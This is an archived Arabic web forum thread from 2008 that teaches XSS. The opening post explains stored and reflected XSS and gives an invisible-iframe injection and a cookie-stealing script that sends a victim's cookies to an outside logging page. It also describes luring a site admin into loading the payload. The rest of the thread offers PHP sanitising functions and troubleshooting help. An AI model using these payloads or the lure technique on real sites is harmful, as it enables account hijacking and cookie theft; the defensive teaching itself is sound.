الويب العربي

الويب العربي (http://www.arabwebtalk.com/index.php)
-   أمن المعلومات (http://www.arabwebtalk.com/forumdisplay.php?f=13)
-   -   دراسة مبسطة حول ثغرات الـ XSS ! (http://www.arabwebtalk.com/showthread.php?t=76026)

الصريح جداً 10-02-2008 11:46 AM

دراسة مبسطة حول ثغرات الـ XSS !
 
بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته

مساكم الله بالخير .. كيف الحال عساكم بخير ان شاء الله

موضوعنا اليوم .. دراسة حول ثغرات الـ XSS .. والموضوع أمني هكري :D >> افهمها عاد

ثغرات الـ xss سمعنا فيها كثير .. وكأقرب مثال عندنا ثغرات التحويل بهاك آخر عشرة مواضيع و الاحصائيات

وغيره من السكريبتات ..

مقدمة /

عبارة xss .. هي اختصار للعبارة التالية " Cross Site Scripting " وبعض الأحيان تسمى الثغرات بإسم CSS

ثغرة الـ xss .. باختصار .. هي تمكن المخترق من حقن اكواد html داخل السكريبت المصاب

وتكون عن طريق خطأ برمجي داخل السكريبت ..

الخطورة /

تخيل معي انك داخل موقع ومحصل فيه ثغرة xss .. جاك واحد قال لك .. الحين انت تقدر تضيف للموقع
اي كود html .. سواء اكواد عادية او جافا سكريبت وغيره من توابع لغة html ..
هنا نبدا التفكير .. حنا وش نقدر نسوي بالـ html عشان نحقنها داخل الموقع ؟؟
ما توصلت له من نتايج بحثي البسيطة ..
1- سرقة كوكيز اي شخص داخل نظام السكريبت .
2- تلغيم الموقع بحقن كود html .. لثغرة بمتصح معين لتحميل الباتش بجهاز متصفحين السكريبت .
3- اضافة اي كود جافا سكريبت الى الموقع .
4- اضافة أي كود html بجميع انواعه الى الموقع .

اعتقد كذا الخطورة وضحت .. البعض كان يتوقع ان الثغرات ذي تافهه ومالها معنى .. لكن اللي يفكر زين

يحصل نتايج حلوة واستغلالات أقوى بإذن الله .. على سبيل المثال .. ركزوا على النتيجة رقم 2

تلاحظون ان الخطورة وصلت لحقن باتش بالسكريبت .. ومن ثم ينتشر بجهاز الزوار بمجرد تصفح السكريبت

من بين الزوار مدير السكريبت او صاحب الموقع او صاحب الاستضافة .. تخيلوا معي ان جهازه طاح فيه باتش

وش راح يوصل له الهكر ؟؟

جهازه + ايميله + بيانات المواقع بجهازه ..

وكل نتيجة من النتايج بالأعلى لها خطورة .. كل واحدة أخطر من الثانية للي يفكر ويستغل زين !!

================================
انواع ثغرات الـ XSS ..!!

1- xss داخلي .
2- xss خارجي .
================================

نبدا بتفصيل النوع الأول وهو الـ xss الداخلي ..

بكل بساطه وهي ان يتم حقن الكود داخل الموقع .. عن طريق الـ POST
كمثال ..
ثغرة الـ xss في هاك الاهداءات .. كيف يتم حقن الـ xss داخل المنتدى ؟؟

كل اللي عليك .. تدخل تسوي اضافة اهداء .. مكان محتوى الاهداء اكتب كود الـ html تبعك

كنك على الـ code داخل الفرونت بيج :D

ثم اضغط زر اضافة .. وسوي تحديث لصفحة المنتدى .. وبتلاحظ ان شريط الاهداءات شغال وفيه اهداءك

محقون بكود html .. يتنفذ في جميع الأجهزة اللي تشاهد الاهداءات !!

هنا نقول عنه حقن داخلي .. لأنه تم عن طريق الـ POST تبع الاهداءات " نموذج اضافة اهداء "

وبعد الكود داخلي محفوظ ويتنفذ للجميع ..

جرب شف اي سكريبت مصاب بثغرة xss داخليه

احقنه بهالكود

كود:

<html>
<iframe name="I1" src="http://www.hack15.com" marginwidth="1" marginheight="1" height="1" width="1" scrolling="no" border="0" frameborder="0">
</iframe>
</iframe></p>
</html>

بمجرد حقن هذا الكود داخل السكريبت .. سيتم ادراج صفحة www.hack15.com داخل الموقع بشكل غير مرئي

.. لنفرض ان صفحة hack15.com .. فيها كود سحب الكوكيز .. او ملغومة بباتش .. أو أي كود html آخر خطر !!

وعدا ذلك من الأكواد اللي تقدر تبحث عنها بقوقل .. وتحقنها بسهولة داخل السكريبت المصاب ..

================================================

اما بالنسبة للنوع الثاني ..

ثغرات الـ xss الخارجية ..

هالنوع من الثغرات لايحقن من داخل الموقع .. ولكن من خارج الموقع عن طريق المتصفح من خلال رابط الموقع

ولايتم حفظ الحقن داخل الموقع .. بمعنى أصح .. الكود اللي تحقنه داخل الصفحة .. انت الوحيد اللي تشوفه ..

وبعد ما تستعرضه انت ما راح يشوفه احد غيرك !!

مثال ..

كود:

www.site.com/show.php?edit=[xss]


مثل ما تلاحظون الملف المصاب هو show.php وفيه ثغرة xss في المتغير edit

بمعنى آخر .. اي كود نطبعه بعد علامة " = " يتم عرضه داخل الصفحة ==> لك فقط !!

تعالوا نجرب نحقن كود html لآظهار مربع رسالة خطأ مكتوب فيه .. Hacked By GeNiUs HaCkEr

.. شف الكود

كود:

<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
مع دجه بالثغره الافتراضية فوق

الحقن بيكون كذا

كود:

www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
جرب ادخل الرابط بالأعلى .. بتلاحظ ظهور مربع خطأ مكتوب فيه Hacked By GeNiUs HaCkEr

الحقن خارجي .. وكذلك الحقن ما يظهر إلا لك انت .. بمعنى آخر هالكود ينحقن وينعرض لك ثم ينحذف

ما احد يشوفه غير اللي يدخل رابط الحقن نفسه

هنا بيجي سؤال .. كيف أظهر الحقن ذا للضحية اللي ابيه يشوفه

يعني ارسل رسالة لمدير الموقع اقول له يدخل الرابط ذا

كود:

  www.site.com/show.php?edit=<<SCRIPT>alert("Hacked By GeNiUs HaCkEr");//<</SCRIPT>
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

صعبة شوي .. ومالها فايده .. بيفهم الثغرة بالراحة .. ^_^

جاك واحد ثاني قال لا !!

يقول لك اخونا في الله .. شرايكم .. نسوي ملف log.php على موقع ثاني .. مهمته يستقبل اي معلومات توصل له

ويرسلها لايميلك

الآن .. نستخدم ثغرة الـ xss في الموقع .. نعطيها أمر سحب الكوكيز من جهاز الضحية .. ويرسلها لملف log.php

وملف log.php .. يوصلها لنا برسالة .. بعدها حنا .. ناخذ الكوكيز .. ونفكه وندخل بعضوية المدير العام ونخترق السكريبت !!

شف على سبيل المثال نحقن ذا الكود /

كود:

<Script>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie</Script>
تعالوا نحقنه عن طريق الرابط
كود:

www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>
الحين اي شخص يدخل الرابط المحقون ذا .. بيسحب الكوكيز من جهازه ويرسلها لملف log.php

كيف نخلي مدير الموقع أو الضحية يفتح الرابط ذا عشان نسحب كوكيزه ؟؟

أو بمعنى أصح كيف الهكر يسحب الكوكيز ويدخلني انا كصاحب سكريبت فيه هالثغره ويسحب كوكيزي ؟؟

بسيطه جداً عالهكر .. يسوي صفحة html عاديه ويضيف لها فريم داخلي مخفي .. ( iframe )

انه فتح لي هالرابط داخل الصفحة بدون ما الاحظ فتحه او افتحه بنفسي

كود:

www.site.com/show.php?edit=<<SCRIPT>dcidcilocation.href="http://www.hack15.com/log/log.php"+dcidcidocument.coockie<</SCRIPT>

ويرفعه على اي موقع .. ويدخلنا فيه عاد بطريقته ويسحب الكوكيز !!

عاد الهكر .. كل واحد يطور براحته في الثغره .. خاصة اللي يفهم بلغة الجافا سكريبت ..

يسوي أكثر من كذا !!

================================================== ========================

الحل /

ان اكتشفت انه فيه ثغرة داخل ملف add.php مثلاً بأحد السكريبتات بموقعك

فيه طريقتين للحل .. حسب ما بحثت وقريت ..

الحل الأول .. تعدل على الكود .. وتمنع اكواد الـ html من التنفيذ

او تضيف function Remove XSS

حصلته في أحد المواضيع للأخ jadweb.com

وصراحه جربته .. وفعال وناجح !!

مثل الفلتر .. يفلتر لك النصوص بأحد المتغيرات

ظيفة الـ function هي حذف اي ثغرة من نوع XSS بشكل نهائي لو يتم استخدامه

في اي برنامج راح يزيد نسبة الآمان بشكل كبير .

طبعاً هذا كود الـ function
كود:

function RemoveXSS($val) {
  // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
  // this prevents some character re-spacing such as <java\0script>
  // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
  $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

  // straight replacements, the user should never need these since they're normal characters
  // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
  $search = 'abcdefghijklmnopqrstuvwxyz';
  $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  $search .= '1234567890!@#$%^&*()';
  $search .= '~`";:?+/={}[]-_|\'\\';
  for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
  }

  // now the only remaining whitespace attacks are \t, \n, and \r
  $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
  $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
  $ra = array_merge($ra1, $ra2);

  $found = true; // keep replacing as long as the previous round replaced something
  while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
        $pattern = '/';
        for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
              $pattern .= '(';
              $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
              $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
              $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
        }
        $pattern .= '/i';
        $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
        $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
        if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
        }
      }
  }
}

لكن صعبه كل سكريبت .. نكتب هالسطور الطويله بأعلاه ..

لذلك اختصره عليكم

ذي صفحة php
كود:

<?
function RemoveXSS($val) {
  // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
  // this prevents some character re-spacing such as <java\0script>
  // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
  $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

  // straight replacements, the user should never need these since they're normal characters
  // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
  $search = 'abcdefghijklmnopqrstuvwxyz';
  $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  $search .= '1234567890!@#$%^&*()';
  $search .= '~`";:?+/={}[]-_|\'\\';
  for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
  }

  // now the only remaining whitespace attacks are \t, \n, and \r
  $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
  $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
  $ra = array_merge($ra1, $ra2);

  $found = true; // keep replacing as long as the previous round replaced something
  while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
        $pattern = '/';
        for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
              $pattern .= '(';
              $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
              $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
              $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
        }
        $pattern .= '/i';
        $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
        $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
        if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
        }
      }
  }
}
?>

احفظ هالصفحة بإسم xss.php

وارفعها داخل مجلد السكريبت اللي فيه الملف المصاب

ثم ادخل الملف المصاب وضيف له هالسطر بأعلى الكود

كود:

include (xss.php);
الآن لابد تلاحظ المتغير المصاب .. وتسوي له فلتره ..

كمثال المتغير name .. عملية الفلترة كالتالي

كود:

$name = RemoveXSS($HTTP_POST_VARS['name']);
وهذي دالة خفيفة وصغيرة جداً .. وتم استخدامها بترقيع هاك الاهداءات " فعالة "

كود:

function clean($val){
        return htmlspecialchars(strip_tags(addslashes($val)));
}


تؤدي الغرض بإذن الله :)

هذا والله اعلم

أخوكم في الله .. حسين

تشآآآآآآآآآآآآآآآآآآآآو

Mr.shares 10-02-2008 11:57 AM

ماقصرت ياحسين توضيح كامل للـ Xss ..

والأغلبيه يحسبونها فآشله ..


ماكأنا سيرفر الزون اتش طاح من سالفه الـ Xss ..


يعطيك العافيه ياحسين ^_* ..


Mr.shares

الصريح جداً 10-02-2008 12:02 PM

الله يعافيك شرس .. حياك الله

وش دراك بسالفة الزون اتش :D

تشآآو

السكربت العربي 10-02-2008 12:20 PM

حسين, جعل ربي يبآرك فيك ماقصرت يالغالي والله, لاتحرمنا جديدك..

تم التثبيت لبعض الوقت لتعم الفائدة.


السكربت العربي.

الصريح جداً 10-02-2008 02:47 PM

حياك الله السكربت العربي .. منور طال عمرك .. وشكراً عالتثبيت :)

تشآآآو

أبو عيــاد 11-02-2008 11:52 AM

وعليكم السلام ورحمة الله وبركاته

تحليل جميل للثغرة .. وطرح أروع ..
يعطيك العافيه ياحسيــن . :)


مع كل الود :)

الصريح جداً 11-02-2008 04:05 PM

الله يعافيك .. حياك الله يابو عياد

تشآآو :)

elite00 26-02-2008 04:18 PM

لا هنت يالغلا مشكــور

kenawy 27-02-2008 08:58 PM

مشكور اخى

موضوع مفيد

Mustafa Albazy 23-03-2008 09:52 PM

يعطيك العافية اخوي حسين .

الحر الاشقر 05-04-2008 02:11 PM

يعطيك الف عافيه على الشرح

الصريح جداً 05-04-2008 02:26 PM

العفو حياكم ..

طريقة الفلترة الصحيحة كالتالي /

RemoveXSS($HTTP_POST_VARS['name']);

تشآآآو :)

Mr.Li0N 05-04-2008 09:05 PM

يوفقك ربي ..........
 
ونعم والله بـ أبوعابد ...

والله لو أشكر من الآن إلى بكرة ما وفيت حقك ...........


أنا أحاول أدور موضوع عن الثغرات هذي ولقيت الحل عندك



تقبل مروووور أخوك ServeR00T :)

أزهار قلبي 08-04-2008 09:02 AM

يعطيك الف عافيه على الشرح

تاج يافع 08-04-2008 04:40 PM

بارك الله فيك اخوي

شركة النورس لماهر 27-04-2008 01:36 PM

يسلموا ويعطيك ربى العافيه

الصريح جداً 27-04-2008 01:51 PM

الله يعافيكم ويسلمكم .. منورين يالغلا ما قصرتم

تشآآآآو

alromnce 28-04-2008 05:02 AM

أخوي العزيز الغالي ^*GENIUS*^

حبيت أشكرك على هذا الجهد وعلى هذا الابداع وبالفعل نحن كأصحاب مواقع نحتاج لهذا الدرس وخصوصاً إذا كان من أستاذنا العزيز القدير

أستاذي ^*GENIUS*^

انا أكتشفت ثغرة في منتداي وهي كالتالي


http://www.site.com/vb/showthread.php?s=<script>al ert('hacking%20xss')</script>

فقد قلت لنا يا أستاذي القدير :-


وارفعها داخل مجلد السكريبت اللي فيه الملف المصاب



طيب كيف اعرف مكان السكريبت المصاب ؟

والعذر والسموحه على الاطاله :)

الصريح جداً 28-04-2008 02:41 PM

حياك الله

السكريبت المصاب هو المنتدى حسب الرابط اللي وضعته

ومن الرابط أيضاً نجد أن الملف المصاب هو showthread.php

والمتغير اللي يحتاج فلترة هو s

عملية الفلترة تكون بالشكل التالي

ضيف السطر ذا أعلى الملف

إقتباس:

function clean($val){
return htmlspecialchars(strip_tags(addslashes($val)));
}
وتحته ضيف هالأمر للفلترة

إقتباس:

clean(here);
استبدل عبارة " here " بالمتغير اللي تبي تسوي له عملية الفلترة

وفقك الله

تشآآآآآو

alromnce 29-04-2008 12:07 AM

مشكور يا أستاذي العزيز ولكن يوجد لدي سؤال يالغالي

والعذر والسموحه إني أزعجتك :)

هل عملية الفلترة ثابتة القيمة اللي انا اقتبسته هل هو ثابت؟ مع كل ملف مصاب

إقتباس:

function clean($val){
return htmlspecialchars(strip_tags(addslashes($val)));
}

او كل ملف مصاب له فلتره خاصه ؟

الصريح جداً 29-04-2008 02:15 AM

العفوو حياك الله

أخوي هالكود .. هو كود عمل دالة خاصة بك بإسم clean

داخل هالدالة فيه الكود اللي يمنع عملية اضافة اكواد Html وأعلامها ويوقفها

طبعاً بدون ما تكرر هالكود على كل متغير مصاب

تسويه على شكل هالدالة

ثم تشغل الدالة على أي متغير بالطريقة ذي

clean(here)

here .. هنا المتغير اللي تبي الدالة clean تشتغل عليه ( تفلتره )

اذا اهتميت بهالشي حاول تقرا مبادئ في الـ php حتى تفهمها بشكل أوضح

تشآآآو :)

alromnce 29-04-2008 02:24 PM

إقتباس:

طبعاً بدون ما تكرر هالكود على كل متغير مصاب
مشكور يالغالي على هذا الشرح الجميل والله يوفقك ويسعدك ويخليك لعين من ترجيك

إقتباس:

اذا اهتميت بهالشي حاول تقرا مبادئ في الـ php حتى تفهمها بشكل أوضح
وأشكرك على هذه النصيحه الجميله يالغالي :)

الصريح جداً 29-04-2008 06:00 PM

آمين الجميع ..

حياك الله طال عمرك

تشآآآو

o24host.com 29-04-2008 08:13 PM

يعطيك العافيه ممتاز اكثر من رائع

الصريح جداً 29-04-2008 11:58 PM

الله يعافيك ..:)

تشآآآآآآآآآو

alromnce 02-05-2008 05:19 AM

أخوي ^*GENIUS*^

اثناء تصفحي لموقع ترايدنت وجدت أحدى الأخوه نقل موضوعه عن موقع php



الدالة عبارة عن فلترة للحقل عن javascript, html, sql injections, and RFI ..

إقتباس:

<?php
function entities($text){
$text = "";
for ( $i = 0; $i <= strlen($text) - 1; $i += 1) {
$text .= "&#" .ord($text{$i});
}
return $eresult;
}
function filter($text){
if (preg_match("#(on(.*?)\=|script|xmlns|expression|
javascript|\>|\<|http)#si","$text",$ntext)){
$re = entities($ntext[1]);
$text = str_replace($ntext[0],$re,$text);
}
$text = mysql_real_escape_string($text);
return $text;
}
foreach ($_POST as $x => $y){
$_POST[$x] = filter($y);
}
foreach ($_GET as $x => $y){
$_GET[$x] = filter($y);
}
foreach ($_COOKIE as $x => $y){
$_COOKIE[$x] = filter($y);
}
?>


ولقد وجدت كذلك أثناء تصفحي لإحدى المواقع داله مشابهه للسابقه وهي :

إقتباس:

function security_mtwer($mtwer) {
if(is_array($mtwer)) {
$mtwer = array_map('security', $mtwer);
} else {
if(!get_magic_quotes_gpc()) {
$mtwer = htmlspecialchars($mtwer, ENT_QUOTES);
$mtwer=addslashes(trim($mtwer));
} else {
$mtwer = htmlspecialchars(stripslashes($mtwer), ENT_QUOTES);
$mtwer=addslashes(trim($mtwer));
}
$mtwer = str_replace("\\", "\\\\", $mtwer);
}
return $mtwer;
}

$_POST = security_mtwer($_POST);
$_GET = security_mtwer($_GET);


أحببت ان أضيف هذه الإضافات ليتم التعليق عليها ومشاركتنا في كون اي أفضل منهن ولماذا

وأعتذر لإستاذي العزيز ^*GENIUS*^

الصريح جداً 02-05-2008 09:14 AM

حياك الله

شكراً للإضافة كلها تؤدي الغرض لكن انت اختار الأقل في عدد السطور حتى يكون سكريبتك خفيف

وما يثقل عليك .. بالتوفيق

تشآآآو

alromnce 02-05-2008 08:19 PM

أشكرك أخوي على التوضيح ولكن عندي سؤال

وأدري أشغلتك معااي :)

انا يوم جيت اسوي اللي قلتلنا عليه قلت ابي اكشف عن موقعي ولقيت هذي الثغرات

كود:

http://www.site.com/vb/showthread.php?goto=newpost&t=578#goto_displaymodes<script>alert('hacking%20xss')</script>

http://www.site.com/vb/newreply.php?do=newreply&amp;noquote=1&amp;p=8682<script>alert('hacking%20xss')</script>

http://www.site.com/vb/sendmessage.php?do=sendtofriend&amp;t=594<script>alert('hacking%20xss')</script>

http://www.site.com/vb/private.php?s=<script>alert('hacking%20xss')</script>

http://www.site.com/vb/search.php?do=finduser&amp;u=113<script>alert('hacking%20xss')</script>

http://www.site.com/vb/forumdisplay.php?s=<script>alert('hacking%20xss')</script>

http://www.site.com/vb/index.php?s=<script>alert('hacking%20xss')</script>

http://www.site.com/vb/faq.php?s=<script>alert('hacking%20xss')</script>

فياليت توضح لي كيف تتم سد هذي الثغرات لاني سويت اللي قلت لي والمشكله ان المنتدى صاير مايشتغل بسبب ان الحركه الي قلتلنا عليها هي تحذف الكوكيز وابي اعرف بالتفصيل كيف افلتر هذه الثغرات وكيف أسدها

فياليت يا اخوي الغالي ابي شرح مفصل لاني أخاف اسوي شيء في المنتدى واخطي وياليت يكون الشرح بالصور يكون افضل

ومارايح ننساك من دعائنا أبدا الله يبارك فيك وفي ذريتك :)

Mustafa Albazy 02-05-2008 08:51 PM

أخوي هاذا ما تعتبر ثغرات خلاص

هاذا للنسخ القديمة جداً الان ما عاد تشتغل بس قلي كم النسخة الي مركبة


++++++++++++++


مشكور اخوي أبو عابد ما تقصر طال عمرك

alromnce 03-05-2008 02:06 AM

انا موعارف يوم كتبت الرد وموقعي صرت ما اقدر ادخل عليه

إقتباس:

Fatal error: Maximum execution time of 30 seconds exceeded in /home/site/public_html/vb/includes/functions.php(5 166) : eval()'d code on line 65
فيه حل والعذر والسموحه لو كان الرد مو في مكانه بس من العجله واني مختبص المنتدى مو راضي يشتغل نهائياً

ابي فزعتكم يارجال :(

Mustafa Albazy 03-05-2008 03:52 AM

أخوي انت معدل على ملف function.php

alromnce 03-05-2008 10:48 AM

لا يالغالي انا ماعدلت عليه بس انا حطيت ملف xss.php

في المجلد vb
زي ماقال لنا أخوي ^*GENIUS*^

وجلست يومين وبعدها تقفل نهائيا مايمديني اشوف المنتدى :( نبي حل الله يعزكم ويخليكم ذخر لمن يرجيكم

Mustafa Albazy 03-05-2008 06:58 PM

إقتباس:

اقتباس من مشاركة alromnce (المشاركة 469926)
لا يالغالي انا ماعدلت عليه بس انا حطيت ملف xss.php

في المجلد vb
زي ماقال لنا أخوي ^*GENIUS*^

وجلست يومين وبعدها تقفل نهائيا مايمديني اشوف المنتدى :( نبي حل الله يعزكم ويخليكم ذخر لمن يرجيكم

طيب شيل الملف الي خليتة + الأشياء الي ضفتهم في بقيت الصفحات وشوف بيشتغل ولا لا

بس غريبة ليش تخليهم في المنتدى والمنتدى مافية ثغرات من هل النوع الى اذا مركب هاكات ممكن يكون في الهاك نفسة

alromnce 03-05-2008 11:05 PM

أخوي العزيز IrIsH

انا شلت الملف اللي انا ذكرته واللي واللحين والمنتدى انا ما اقدر ادخل عليه ومايشتغل اصلا

وربي قهر ابي حل يالنشاما

Mustafa Albazy 04-05-2008 02:03 AM

حط رابط موقعك + أفتح موضوع في قسم حل مشاكل المنتديات

لئن هاذا مضوع ثاني مالة دخل بمشكلتك

+ حط كل ماسويت في المنتدى علشان نشوفلك الحل المناسب

والسلام عليكم

T.U.N 04-05-2008 03:07 AM

الله يعطيك العافيه

الصريح جداً 04-05-2008 05:12 PM

العفو الله يعافيكم ..

بالنسبة لك أخوي alromnce

توجه لملف includes/functions.php

وشف السطر 166 .. انسخه لنا هنا لا هنت

فيه أحد معدل عليه .. اعتقد انك مغير مسارات او شي كذا بطريقة خاطئة ..

تشآآو

fahd4.com 09-05-2008 03:57 PM

يعطيك العافيه ياعسل

الصريح جداً 09-05-2008 10:45 PM

الله يعافيك

تشآآآو :)

alromnce 07-06-2008 09:59 PM

إقتباس:

اقتباس من مشاركة alromnce (المشاركة 469834)
Fatal error: Maximum execution time of 30 seconds exceeded in /home/site/public_html/vb/includes/functions.php(5 166) : eval()'d code on line 65

هلا باأخواني الاعزاء سبب المشكله هي هاك ضغط وتسريع تصفح المنتدى :) لكن حبيت اتأكد لكن محد اكدلي عليه


جميع الأوقات بتوقيت مكة المكرمة. الساعة الآن » 12:10 AM.

Powered by vBulletin
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright © ArabWebTalk.Com 2004-2012